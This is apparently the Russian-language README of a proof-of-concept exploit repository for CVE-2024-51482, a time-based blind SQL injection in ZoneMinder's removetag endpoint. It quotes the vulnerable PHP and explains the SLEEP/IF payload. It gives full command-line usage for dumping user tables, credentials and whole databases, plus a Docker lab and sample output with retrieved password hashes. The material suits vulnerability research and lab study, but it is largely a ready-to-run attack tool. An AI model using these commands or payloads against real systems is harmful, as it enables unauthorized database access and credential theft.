
PoC временной SQL-инъекции для CVE-2024-51482 в ZoneMinder, с воспроизводимой Docker-лабораторией и автоматизированным извлечением данных.
⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является незаконным.
Этот репозиторий содержит PoC time-based SQL инъекции, нацеленной на ZoneMinder.
Инструмент позволяет:
Также включает полностью воспроизводимую Docker-лабораторию для безопасного тестирования.
ZoneMinder — это бесплатное программное обеспечение с открытым исходным кодом для систем видеонаблюдения. Уязвимость возникает из-за недостаточной проверки входных данных в эндпоинте removetag. Вводимые пользователем данные напрямую включаются в SQL-запросы без должной санитизации или параметризации, что позволяет злоумышленникам внедрять вредоносные boolean-based SQL-нагрузки. Эксплойт использует:
SLEEP(x - IF(condition, 0, x))
для извлечения данных через задержки ответа.
Фрагмент уязвимого кода из уведомления разработчиков Github:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Атакующий Веб-приложение ZoneMinder
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← аутентифицированная сессия
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Выполнение SQL boolean-запроса
│ IF(условие, без задержки, SLEEP)
│◄────────────────────────────────────────│
│ Задержанный ответ (timing oracle) │ ← условие определено
│ │
│ Повторные запросы │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Различия во времени раскрывают символы │
│ │
│ Бинарный поиск по каждому символу │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Извлечённые данные (по 1 символу) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Полное раскрытие базы данных │
│ │
✓ Полная эксфильтрация данных через blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Настройте переменные окружения
docker compose up -d
Без указания флагов инструмент аутентифицируется на цели, проверяет её уязвимость и, если она уязвима, выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users (команда dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Только проверяет, уязвима ли цель.
python exploit.py -t http://target/zm -u <username> -p <password> check
Выполняет дамп столбцов ID, Username, Password, Name и Email из таблицы zm.Users. Команда по умолчанию, если не указана другая.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Выводит все базы данных.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Выводит таблицы в указанной базе данных.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Выводит столбцы указанной таблицы.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Выполняет дамп всех данных из указанной таблицы.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
Также можно указать столбцы для дампа (по умолчанию — все):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
Если файл не существует, он будет создан. Если уже существует, новые результаты будут добавлены.
--outfile results.csv
| Флаг | Описание | Пример |
|---|---|---|
-t, --target | Базовый URL цели | -t http://localhost:8080 |
-u, --user | Имя пользователя для аутентификации | -u admin |
-p, --password | Пароль для аутентификации | -p admin |
--cookie | Использовать существующий cookie ZMSESSID вместо входа | --cookie abc123... |
| Команда | Описание | Пример |
|---|---|---|
check | Проверить, уязвима ли цель (time-based SQLi) | check |
dump-users | Выполнить дамп таблицы zm.Users напрямую | dump-users |
list-db | Вывести список всех баз данных | list-db |
list-tables | Вывести таблицы из базы данных | list-tables --db zm |
list-columns | Вывести столбцы из таблицы | list-columns --db zm --table Users |
dump-table | Выполнить дамп указанной таблицы | dump-table --db zm --table Users |
| Флаг | Описание | Обязательность | Пример |
|---|---|---|---|
--db | Имя базы данных | Да (для операций с таблицами/столбцами) | --db zm |
--table | Имя таблицы | Да (для дампа/столбцов) | --table Users |
--columns | Список столбцов через запятую для дампа | Необязательно | --columns Username,Password |
| Флаг | Описание | По умолчанию | Пример |
|---|---|---|---|
--threads | Количество параллельных потоков извлечения | 5 | --threads 6 |
--delay | Задержка, используемая для time-based SQLi | 3 | --delay 2 |
--no-check | Пропустить проверку уязвимости перед эксплуатацией | False | --no-check |
| Флаг | Описание | Пример |
|---|---|---|
--outfile | Сохранить вывод в CSV-файл | --outfile results.csv |
--no-display | Отключить вывод в терминал | --no-display |
| Флаг | Описание | По умолчанию | Пример |
|---|---|---|---|
-v, --verbose | Включить отладочное логирование | False | -v |
--log-file | Путь к файлу лога | logs/exploit.log | --log-file out.log |
--no-color | Отключить цветной вывод | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users — это сокращение для дампа таблицы zm.Users.--no-check, только если вы уверены, что цель уязвима.Включённый docker-compose.yml настраивает уязвимый экземпляр ZoneMinder.
cp .env.example .env # Настройте переменные окружения
docker compose up -d
Получите доступ к веб-интерфейсу по адресу http://localhost:8080/ (или вашему собственному порту). Учётные данные по умолчанию: admin:admin. Затем вы можете запустить эксплойт против этого локального экземпляра для тестирования.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] Target URL: http://localhost:8080/
[∗] Module : dump-table
[∗] Output will be saved to: ./out.csv
[∗] Attempting to log in with username/password authentication
🡲 Credentials: admin:admin
[+] Successfully authenticated as user admin
[∗] Testing target vulnerability...
[+] Target appears to be vulnerable (response time indicates successful injection).
[∗] Dumping contents of table zm.Users...
[+] Found columns: Username, Password
[∗] Retrieving number of rows in the table...
[+] Table contains 2 rows. Starting dump...
[∗] Progress: 5/5 | admin
[∗] Progress: 60/60 | $2h$12$NHZs...
[+] Retrieved row 1 : admin, $2h$12$NHZs...
[∗] Progress: 4/4 | flag
[∗] Progress: 60/60 | $2y$10$1Ei....
[+] Retrieved row 2 : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Results written to ./out.csv
[+] Work done. Bye!